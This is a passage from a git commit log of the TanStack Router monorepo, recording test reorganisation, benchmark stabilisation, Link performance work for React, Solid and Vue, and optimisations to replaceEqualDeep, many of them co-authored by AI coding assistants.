real Vite builds with one.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core): regroup compiler regression tests by behaviour

Dissolve the ported-* and start-compiler edge-case files into behaviour
files (server fn caller dead code, declaration sites, exports and
directives, handler scope, Hydrate captures, factories, user code kept),
drop duplicate cases and vacuous assertions, and compile through a single
harness. The RSC external-transform scope cases move into compiler.test.ts,
replacing react-start-rsc's ported-vite-plugin-rsc.test.tsx.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(router-generator): move transform edge cases into transform.test.ts

Merge the five parenthesized-call cases into one test next to the existing
outer-parens test and fold the remaining preservation cases into
transform.test.ts, reusing its makeNode helper.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(react-start-rsc): move RSC CSS transform edge cases into rscCssTransform.test.tsx

Keep the cases with unique coverage (the @tanstack/react-start-rsc import
source, transparent JSX wrappers, non-JSX arguments) next to the existing
tests and drop the separate helper, which imported start-plugin-core tests.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test: keep regression tests valid once known compiler bugs are fixed

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test: share the build and React Refresh helpers

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* test(start-plugin-core): link Hydrate chunks to their parent however a fix imports it

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-07 16:21:29 +02:00
Flo
30fc108a5e
test(benchmarks): pin React's scheduler clock in the hydration benchmark (#8621)
React's scheduler ends a time slice after 5 ms of performance.now(). The
hydration harness evaluates the client bundle in a jsdom window, whose
performance.now() is the real wall clock. Under CodSpeed's CPU simulation
the wall clock advances by a runner-dependent amount per instruction, so
identical samples yielded a varying number of times, each yield adding a
scheduler task and event-loop turn (CodSpeed sysCount alternated between
~3.6k and ~5.4k for the same code).

Freeze the window's performance.now() so React yields only to paint after
commits. Date.now(), used by the Router for match timestamps, is unchanged.
The hydration test now asserts every sample uses the same number of
scheduler tasks.

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-06 18:08:21 +02:00
Ciarán Curley
df8bbf217f
docs: use new query methods (#7100)
docs: use queryClient.query() in guides and agent skills

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-06 17:59:20 +02:00
Flo
793514d5e4
test(benchmarks): disable Maglev in CodSpeed memory runs (#8625)
CodSpeed's --no-opt only disables TurboFan on Node 24, so Maglev still
compiles. Under --predictable those compiles run synchronously inside the
triggering request, and the forced GC before the measured call can discard
optimized code so recompiles land in the measured window. Maglev's malloc'd
Zone scratch (32 KiB segments) then dominates allocation metrics and varies
with per-process feedback state.

The bimodal +32,792 B / +1 alloc in `mem server error-paths unmatched
(react)` is one Maglev Zone segment allocated while compiling React Fizz's
per-request stream `write` closure; ~97% of that bench's allocation was
compiler scratch. Retained-object measurements are unaffected (Zone memory
is freed after each compile).

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-06 17:33:04 +02:00
Flo
9595b9745d
ci: let workflow_dispatch publish bundle-size history on main (#8620)
The workflow already declares a workflow_dispatch trigger, but no job
accepted that event, so manual runs on main were always skipped. When a
push run is lost (e.g. cancelled waiting for a runner), main's tip gets
no history entry and PR comments silently fall back to an older baseline.

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-06 10:53:58 +02:00
Flo
e7ab1570ec
perf(solid-router): let mergeProps memoize the Link's own props (#8619)
* perf(solid-router): let mergeProps memoize the Link's own props

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

* test(solid-router): pin how Link element props, state props and handlers reach the anchor

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

* ci: retrigger benchmarks against refreshed main baselines

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-10-06 10:36:08 +02:00
Flo
efc2042c2d
perf(router): skip Link work for routes a navigation leaves (#8602)
* test(benchmarks): add departing and retained Link navigation cases

Add lane-* cases to the React Link performance harness, with per-navigation
sync, onLoad and total timings in the paired runner.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

* perf(react-router): share one location subscription per route's Links

Links subscribe to a scope owned by their match context instead of each
subscribing to the location store. A scope skips a location publication
whose navigation leaves its route, so Links that are about to unmount do
no work. Clicks and preloads resolve from the location a Link displays,
and mask builds use the same source location as their destination.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

* test(benchmarks): add Solid departing and retained Link navigation harness

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): hold the location of Links in a departing match

Each Match owns one memo that keeps its Links' source location when the
publishing navigation leaves the route, so those Links do no work.
Clicks and preloads resolve from that source.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(react-router): trim the Link scope's bundle cost

Key each router's link scopes by route id instead of carrying them in a
`[routeId, linkScope]` match context tuple. `matchContext` provides the
route id again, so `Match`, `Outlet`, `useMatch` and `useParentMatches` /
`useChildMatches` match main, and the outside-every-match holder becomes
the `undefined` key of the same registry. A scope without links still
releases its location, so keeping one per route id holds none.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): add Vue departing and retained Link navigation harness

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): hold the location of Links in a departing match

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): add a real-browser Link INP harness

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): gate departing Links in their own location memo

Drop the per-Match memo and the third match-context slot. Each Link reads
its route id once at setup and, while the publishing navigation leaves
that route, keeps its previous location in the memo it already owns.
Links mounting in an already-departing route read the pending location.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): add Vue to the real-browser Link INP harness

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(solid-router): build Link navigations from the live location state

The Link location memo deduplicated by href, so a same-href navigation that only changed history state left clicks and preloads building from the previous location's state.
Compare by identity instead; downstream href and active memos still compare by value, so unchanged Links do not touch the DOM.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(react-router): drop the Link scope's reentrant publication re-check

A listener that publishes a new location while a route's Links derive is not a
supported use case, so the scope no longer re-reads the store after notifying.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(react-router, router-core): follow-up Link improvements (#8607)

* perf(router-core): cache location-independent masked destinations

A mask that reads the current location already marks the result as
source-dependent through the shared usedCurrent flag, and route masks
belong to the route tree and options whose updates replace the cache.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(react-router): hydrate hash-sensitive Links through the scope's server snapshot

The Link's location subscription already has a server-snapshot slot.
Reporting an active hash-sensitive Link as inactive there replaces the
per-Link useHydrated subscription with identical hydration output.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(react-router): follow href and reloadDocument changes of a mounted Link

The destination memo did not depend on href, so a Link whose href alone
changed kept displaying, preloading and navigating to the old target.
Clicks also navigated with the memo's copy of the options, so a changed
reloadDocument only applied once another destination prop changed.
Navigate with the current options and the displayed source location.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(react-router): hold a Link's intent preload timer on its own ref

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(history): avoid copying navigation arguments when checking blockers

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): opt-in intent preloading for the Link lane cases

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore: changeset

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router, vue-router): follow-up Link improvements (#8609)

* test(benchmarks): measure Solid and Vue Link lanes with intent preloading

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): reuse a Link-owned destination so fixed Links hit the location cache

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): pass navigation controls through the Link-owned options

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(solid-router): cover Link clicks after a state-only navigation

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): read Link options directly with a single splitProps

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): keep the Link preload timer in a closure

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): let the Link observer read the preload mode directly

The internal useIntersectionObserver no longer returns an unused accessor and
takes the preload mode instead of two predicates (its unit test is updated).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): create the Link hydration signal only for SSR routers

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): let element insertion track Link children without a memo

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(solid-router): call a Link's ref once per element

The ref no longer comes from the props memo, so href/active changes do not
re-run the element's ref effect. Drops the mergeRefs import.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): derive a Link's href and active state in one computation

The destination build, href, external/blocked classification and active state
share one memo whose unchanged result keeps its identity, so a navigation that
leaves a Link as it was notifies nothing downstream. Presentation props only
rerun the props memo. The server derives the same values once, without memos.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): use the t quantile for the lane comparison's round count

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(solid-router): split a Link's props once

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): reuse a Link-owned destination so fixed Links hit the location cache

Navigation controls travel on the same object, so clicks no longer re-list them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): pick a Link's element props with one shared key set

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): derive a Link's href and active state in one computed

The preload effects read a location-independent mode, so a navigation no
longer queues them for every Link. A Link whose destination updater navigates
while it derives derives again for the newer location.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): keep the Link preload timer in a closure

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): drop the unused IntersectionObserver ref per Link

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): return plain empty Link props without a router

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): render server Links without reactive wrappers

The server returns shallow refs and reads Link props directly, without the
attrs snapshot, its update hook, the props computed or a template ref.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(vue-router): drop the deferred re-derivation for updaters that navigate

A search updater that navigates while a Link derives is not a supported use
case; remove the retry that existed only for it, and its test.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore: add changeset for the Solid and Vue Link follow-up

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* chore(benchmarks): remove the real-browser Link INP harness

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(solid-router, vue-router): rebuild masks whose options are stores

Router core now reuses masked locations built from the same options object
when the mask does not read the current location. Solid and Vue Links keep
one destination object while their navigation options keep their identity,
and only a store/reactive option value forced a fresh object per location.
A plain mask object holding a store (e.g. `mask={{ to, params: store }}`)
therefore kept the mask built from the store's first value. The mask's own
values are destination options too, so check them for stores as well.

React has no in-place reactive values: a changed mask prop changes identity
and rebuilds. Add the equivalent React coverage for prop and inherited masks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore(benchmarks): remove the ad-hoc Link lane harnesses

The link-churn scenario covers this work in CodSpeed. Removes the Solid and
Vue lane harnesses and restores link-performance to its main content.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* style: name tuple indexes in Link code

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(react-router): stop treating _fromLocation as a Link prop

`_fromLocation` is an internal router option, not a Link prop: the Link
always builds from its own scope's location. It stays among the stripped
router option keys so code that still passes it does not leak an attribute
to the element.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(solid-router): stop treating _fromLocation as a Link prop

`_fromLocation` is an internal router option, not a Link prop: the Link
always builds from the location its match presents.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(vue-router): stop treating _fromLocation as a Link prop

`_fromLocation` is an internal router option, not a Link prop: the Link
always builds from the location its match presents.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(react-router): drop _fromLocation from the Link's option keys

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-10-05 21:27:33 +02:00
Flo
c4cb0e4cae
test(router): Link tests that hold on main, ahead of the departing-Link work (#8611)
Tests written for #8602 that already pass on main: rewrites of Link tests
that asserted on a detached anchor after its route unmounted, and Link
destination tests for Solid, Vue and React (in-place store/reactive inputs,
inherited params, masks, frozen options, state-only navigations).

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-04 22:46:37 +02:00
Flo
2741b159af
test(benchmarks): add a client-nav scenario for departing, staying and mounting Links (#8604)
* test(benchmarks): add a client-nav scenario for departing, staying and mounting Links

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): size link-churn to 60 staying and 200 departing Links

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(benchmarks): halve link-churn to 30 staying and 100 departing Links

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-04 19:25:58 +02:00
Flo
dfe3dea88a
perf(router-core, history): small parsing and bundle-size cleanups (#8605)
* fix(history): keep a leading query or fragment out of parseHref's pathname

parseHref compared the '?' and '#' indexes with '> 0', so an href that
starts with a query or fragment (reachable via hash history '/#?x=1'
or memory entries) kept it in the pathname as well, and the router
location became '?x=1?x=1'.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(history): read hash-history locations with indexOf/slice

Replace split('#').slice(1)/join('#') with one indexOf and two slices
when reading the hash-history location. Characterization tests from
#8351 cover nested fragments, encoded '#', and an empty hash.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(router-core,history): use slice where substring bounds are ordered

Every converted call has non-negative, ordered bounds (fixed offsets,
indexOf results within the same segment, or guarded by a '<' check).
extractParams' affix-stripping calls and the wildcard-tail suffix in
parseSegments keep substring: their bounds can cross.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(router-core,history): drop a duplicated flag and a createHref wrapper

buildLocation's currentMatch now reads the location through current(),
which already marks the build as location-dependent. Browser history
passes its createHref directly; createHistory already wraps it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-04 18:52:45 +02:00
Flo
b839f47027
test(e2e): wait for the destination route before asserting shared widget CSS (#8603)
/lazy-css-lazy and /lazy-css-static both render `shared-widget`, and the URL
updates before the departing route unmounts, so assertions after `waitForURL`
could hit the old widget while it was being detached and read `""`. Wait for a
destination-only marker and use retrying `toHaveCSS` assertions instead.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-04 13:02:43 +02:00
Flo
2413cc0098
perf(react-router): reduce component nesting per route match (#8594)
* perf(react-router): reduce component nesting per route match

* make it stable between server and client
2026-10-03 22:33:29 +02:00
Sarah Gerrard
1f0f20a320
chore(react-start-rsc): upgrade Rspack to 2.2.7 (#8542)
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-10-01 20:50:06 +02:00
Flo
d35aab425b
fix(router): cancel pending link preload before navigation (#8579) 2026-10-01 13:52:43 +02:00
github-actions[bot]
57e126e99d
ci: Version Packages (#8531)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-30 11:41:29 -06:00
Tanner Linsley
d521abd71c
fix(start): align server function transport behavior (#8573) 2026-09-30 11:29:54 -06:00
Flo
614bc27034
chore(deps): update TanStack Store to 0.11.2 (#8568)
* chore(deps): update TanStack Store to 0.11.2

* chore(deps): regenerate Store 0.11.2 lockfile
2026-09-30 12:42:07 +02:00
bkuzmanoski
41ebd28867
fix(start-plugin-core): use http scheme for sitemap xmlns (#8127)
fix: use http scheme for sitemap xmlns per sitemaps.org spec
2026-09-28 00:48:33 +02:00
Flo
05223c2ada
perf(start): defer sitemap dependencies until generation (#8533)
* perf(start): defer sitemap dependencies until generation

* Delete packages/start-plugin-core/tests/sitemap-import.test.ts

* perf(start): defer sitemap dependencies until generation [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-28 00:07:58 +02:00
Flo
60b8ad1ad0
perf(react-router): omit inactive route wrapper components (#8529)
* perf(react-router): omit inactive route wrapper components

* perf(react-router): omit inactive route wrapper components [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-27 22:02:22 +02:00
Flo
863c8a736b
perf(react-router): reuse link selector results (#8522)
* test(react-router): cover cached link selector reruns

* test(react-router): type configurable trailing slash fixture

* test(react-router): use type import in selector benchmark

* test(react-router): benchmark inactive dynamic destinations

* perf(react-router): reuse link selector results

* perf(react-router): resolve external links once per selector

* perf(react-router): shrink link state classification

* perf(react-router): shrink external link expression

* perf(react-router): shrink link state classification [Self-Healing CI Rerun]

* test(react-router): address link selector review cleanup

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-27 22:01:33 +02:00
Flo
ff66a03df4
perf(react-router): consolidate root match provider (CodSpeed experiment) (#8530)
perf(react-router): consolidate root match context provider
2026-09-27 21:31:39 +02:00
github-actions[bot]
f0e751d325
ci: Version Packages (#8497)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-27 16:03:11 +02:00
Manuel Schiller
3cdd1af04b
fix(router-core): restore native scroll restoration on reload (#8519)
* test: cover scroll restoration lifecycle handoff

* test: remove temporary scroll lifecycle benchmark

* fix(router-core): hand native scroll restoration back on pagehide
2026-09-27 14:31:49 +02:00
Sarah Gerrard
488d046a90
perf(router,start): update Seroval to 1.6.7 (#8297)
* perf(router,start): update Seroval to 1.6.6

* perf(router,start): update Seroval to 1.6.7

* chore: update seroval to 1.6.7

seroval and seroval-plugins were pinned to ^1.6.2 while 1.6.7 is the
current release. The type surface is additive: two new options
(maxBase64Length, compactArrayBufferViews) and an isStream export.

Bundle (gzip): router-only scenarios unchanged; Start client bundles
grow 532-642 bytes from the upstream typed array and base64 handling.
react-start.minimal 98504 -> 99039 (+535).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-09-26 15:55:05 -07:00
Flo
7471fb8591
chore: update CodSpeed action and Vitest plugin (#8508) 2026-09-26 21:39:51 +02:00
Flo
1e113034bd
test: expand compiler correctness coverage (#8506)
test: port compiler correctness coverage from Yuku migration
2026-09-26 19:31:18 +02:00
Flo
0b377c2e5b
test: stabilize scroll regression page readiness (#8507)
test: wait for rendered pages in scroll race regression
2026-09-26 19:11:42 +02:00
Cyril Strone
763ac8b8ad
test(react-router): regression for #2072 router context invalidation (#8499)
* test(react-router): add invalidate context regression for #2072

* cover auth logout/login via RouterProvider context with router.invalidate();
* assert beforeLoad observes fresh context in the same event handler.

* test(react-router): drive #2072 login redirect via beforeLoad

* assert invalidating the active /login match triggers the guard redirect;
* drop the explicit router.navigate that bypassed invalidation.

* test(react-router): tighten auth invalidation assertions

* test(react-router): clarify login invalidation comment

* test(react-router): assert auth observations without redundant waits

---------

Co-authored-by: Sheraff <me@florianpellet.com>
2026-09-26 13:45:54 +02:00
Flo
bb4423e098
bench(client-nav): add React and Solid hydration scenarios (#8439)
* bench(client-nav): add React hydration scenario

* fix(benchmarks): await React hydration completion under instrumentation

* bench(client-nav): add Solid and Vue hydration scenarios

* ci: apply automated fixes

* bench(client-nav): split Vue hydration into a separate PR

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-09-25 20:43:16 +02:00
Flo
e81845ff1e
fix(start): parse path params before server route handlers (#8434) 2026-09-25 17:02:09 +02:00
Flo
f5ffd3884b
perf(router): skip unused link preload cleanup across adapters (#8436)
* perf(react-router): skip unused link preload cleanup

* perf(react-router): use timer-only cleanup for intent preloading

* Revert "perf(react-router): use timer-only cleanup for intent preloading"

This reverts commit b5f46eac5f.

* perf(react-router): skip unused link preload cleanup [Self-Healing CI Rerun]

* perf(solid-router,vue-router): skip unused preload cleanup

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-25 16:45:51 +02:00
Sarah Gerrard
76a7c0bfad
perf(start-client-core): avoid unused middleware array (#8353) 2026-09-25 07:34:47 -07:00
Flo
0c1b5e38de
fix(router-core): retire invalidated loader reservations (#8460) 2026-09-25 16:16:41 +02:00
github-actions[bot]
ddad69a4a4
ci: Version Packages (#8486)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-23 15:28:58 +02:00
Flo
73bfc153ee
perf(react-router): avoid redundant link hydration updates (#8435)
* perf(react-router): avoid redundant link hydration updates

* refactor(react-router): hide hydration flag behind internal overload
2026-09-23 14:00:26 +02:00
github-actions[bot]
fe7f1fd0e6
ci: Version Packages (#8477)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-21 22:20:15 +02:00
Caleb Zearing
222300b82f
fix(start-plugin-core): restore per route stylesheets on Windows (#8202)
fix(start-plugin-core): normalize rspack route module paths for the Start manifest

Co-authored-by: Caleb Zearing <calebzearing@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
2026-09-21 22:15:10 +02:00
Flo
ac223be013
fix(benchmarks): limit targeted bundle reports to measured scenarios (#8456) 2026-09-17 11:46:56 +02:00
Flo
2fb7723230
perf(benchmarks): compress bundle-size outputs once (#8453)
* perf(benchmarks): compress bundle-size outputs once

* add link to readme in skill

* ci: apply automated fixes

* fix(benchmarks): persist timing flag in measurement command

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-09-17 11:19:08 +02:00
Flo
6faf2bf292
ci: skip benchmarks for package test-only PRs (#8463) 2026-09-17 10:26:33 +02:00
Flo
faec323dc5
fix(router-core): missing deepEqual signature changes in replace-equal-deep benchmark (#8462) 2026-09-17 10:05:30 +02:00
github-actions[bot]
84bde660a1
ci: Version Packages (#8457)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-16 23:34:45 +02:00
Flo
ce10dcd4d9
perf(router-core): reduce replaceEqualDeep allocations (#8411)
* perf(router-core): reuse key buffers in replaceEqualDeep

* perf(router-core): reuse unchanged incoming objects

* perf(router-core): reuse existing search objects
2026-09-16 23:12:37 +02:00
Manuel Schiller
bbd2336b84
perf(router-core): split replaceEqualDeep into an equality scan and a copy phase (#8389)
* perf(router-core): split replaceEqualDeep into an equality scan and a copy phase

`replaceEqualDeep` compared and copied in one loop. Every entry, also on
the common all-equal path, paid for the copy bookkeeping (`copy ??=`,
`if (copy) copy[key] = n`), an `equal` flag and — for objects — a
`hasOwn.call(prev, key)` lookup, while arrays and objects shared the
same keyed accesses through `array ? i : keys[i]`, so every access site
saw both element and named keys.

The function now runs in two phases:

- Scan: walk `next` up to the first difference, sharing equal children
  on the way. Arrays and objects have their own loop, so each keyed
  access only ever sees one kind of key and nothing is allocated while
  entries keep matching. A key at the same position of both key lists
  is proven to be `prev`'s own key; only reordered keys still need
  `hasOwn`. When everything matched and the key counts agree, `prev` is
  returned.
- Copy: equality is ruled out, so the loop only builds the result. The
  scanned prefix is shared from `prev`, the first differing entry keeps
  the value the scan already computed, and the rest is resolved without
  any equality bookkeeping.

Only an object entry of `prev` can share anything, so the recursion is
guarded by a single `typeof` check; `null` and mismatched types return
`next`'s entry through the entry checks. `isPlainArray` is no longer
used here: the array check reuses the `Object.keys` result that the
scan needs anyway. Semantics are unchanged: pass-through for
non-enumerable keys and for symbol keys on `next`, null-prototype
copies, the depth limit and the SSR early return all stay as they were,
and the tests pass against both implementations.

Bundle size (`benchmark:bundle-size`, gzip): react-router.minimal -1 B,
react-router.full -18 B, all 18 scenarios net -110 B (13 down, 5 up,
max +20 B on react-start.full for identical code).

Paired runs against the previous version (hz medians of 3 runs,
1000 calls per iteration; the machine was under load, so single-digit
differences are noise):

  equal flat search                          5.96k -> 6.98k  (+17%)
  equal nested search                        2.47k -> 2.83k  (+14%)
  equal array of objects                       524 ->   579  (+10%)
  equal long primitive array (1024)             49 ->    69  (+39%)
  long primitive array, last item changed       37 ->    41  (+11%)
  wider flat object (64 keys), last changed    218 ->   229   (+5%)
  flat search, one changed leaf              5.31k -> 5.59k   (+5%)
  array of objects, one changed item           483 ->   513   (+6%)
  flat search, all leaves changed            5.29k -> 5.35k   (+1%)
  array of shared objects, one changed       1.61k -> 1.44k  (-10%, ±29%)

Entries that change between an object and a primitive now pay one
recursive call instead of an inline four-way type check; guarding both
sides costs more bundle bytes than this branch is worth.

Adds tests for the scan/copy boundary (equal children and next-only
keys after the first difference, reordered keys, object/primitive
transitions, shorter and longer arrays, a change in the last of 1024
entries, the depth limit) and bench cases for the shapes that told the
candidate implementations apart.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* fix(router-core): keep sparse arrays with extra keys opaque in replaceEqualDeep

The plain-array check compares `Object.keys(array).length` with
`array.length`. A hole and an extra enumerable key cancel out in that
count, so `Object.assign([1, ,], { extra: 'x' })` was admitted: the
index-based copy dropped `extra` and turned the hole into an explicit
`undefined`, and an index-wise equal `prev` was returned for it. The
same blind spot exists in the exported `isPlainArray`, which the
previous implementation used for this check.

Extra string keys always sort after the index keys, so once the count
matches, `next` is a dense index-only array exactly when its last key
is its last index. That is one string comparison per array instead of
a per-key validation, and it stays inline with the existing count
check. `prev` keeps the count check only: a result is either a copy
built from `next`'s entries or `prev` itself, which the caller already
holds.

Symbol keys on arrays stay admitted, as before this stack: checking
them costs an `Object.getOwnPropertySymbols` call per array pair, which
measured ~8% on the equal nested search shape (a record holding a
four-element array), and `react-router.minimal` +3 B on top of the
+13 B gzip of this fix.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-16 23:12:36 +02:00
Manuel Schiller
01035782e5
perf(router-core): skip symbol enumeration for plain replaceEqualDeep inputs (#8364)
Every object pair `replaceEqualDeep` visited paid for three native key
lookups per side: `Object.keys`, `Object.getOwnPropertyNames` (to detect
non-enumerable props) and `Object.getOwnPropertySymbols`. Measured on a
4-key literal the first two cost 7.6 ns and 10 ns, the symbol lookup
34 ns — 31 ns even on `{}` — so two thirds of the enumeration cost went
into a key type that router data never carries. (`Reflect.ownKeys` as a
single replacement call was tried and is 100 ns.)

Symbol keys and non-enumerable keys still have to be handled correctly:
Apollo's `preloadQuery` refs carry symbol keys and broke under
`defaultStructuralSharing` when copies dropped them (#4237). Instead of
comparing and copying such objects key by key, they are now opaque: an
object with non-enumerable own keys on either side, or symbol keys on
`next`, makes `next` pass through untouched. That keeps both guarantees
that matter — no partial copy, no stale `prev` returned for it — and only
gives up structural sharing for those objects.

`prev` is not scanned for symbols on purpose. It is normally an earlier
`next`, so a symbol-carrying `prev` meets a symbol-carrying `next` and the
`next` check fires; a symbol-carrying `prev` with a symbol-free, otherwise
equal `next` returns `prev` (covered by a test). Plain objects are now
compared and copied by `Object.keys` alone, and `getEnumerableOwnKeys`
is gone.

Paired runs against the previous version (hz, 1000 calls per iteration):

  equal empty objects             14.8k -> 18.3k  (+24%)
  equal empty null-proto objects   5.1k ->  6.3k  (+24%)
  equal flat search                7.3k ->  8.2k  (+12%)
  flat, one changed leaf           6.1k ->  6.9k  (+12%)
  equal nested search              3.0k ->  3.1k   (+4%)
  nested, sharing subtrees         2.6k ->  2.7k   (+7%)
  equal array of objects            609 ->   729  (+20%)
  array, one changed item           551 ->   640  (+16%)
  wide (12 keys) changed, null-proto 1.8k -> 2.0k  (+9%)

Tests now document the pass-through contract for symbol-keyed objects,
including the deliberate `prev`-only asymmetry.
2026-09-16 23:12:36 +02:00
Manuel Schiller
cecae5440b
perf(router-core): check plain objects by constructor (#8363)
* perf(router-core): check plain objects by constructor

`isPlainObject` gates every recursion step of `replaceEqualDeep` and
`deepEqual`, so it runs at least twice per object pair, on every nested
level, on every navigation and Link build. The previous implementation
(copied from `is-plain-object`) called `Object.prototype.toString` on the
value and again on its constructor's prototype, plus a `hasOwnProperty`
lookup: up to four `toString` dispatches per compared pair, most of them
spent confirming that `{}` is a plain object.

The check is now a single expression:

  !!o && typeof o === 'object' && (o.constructor ?? Object) === Object

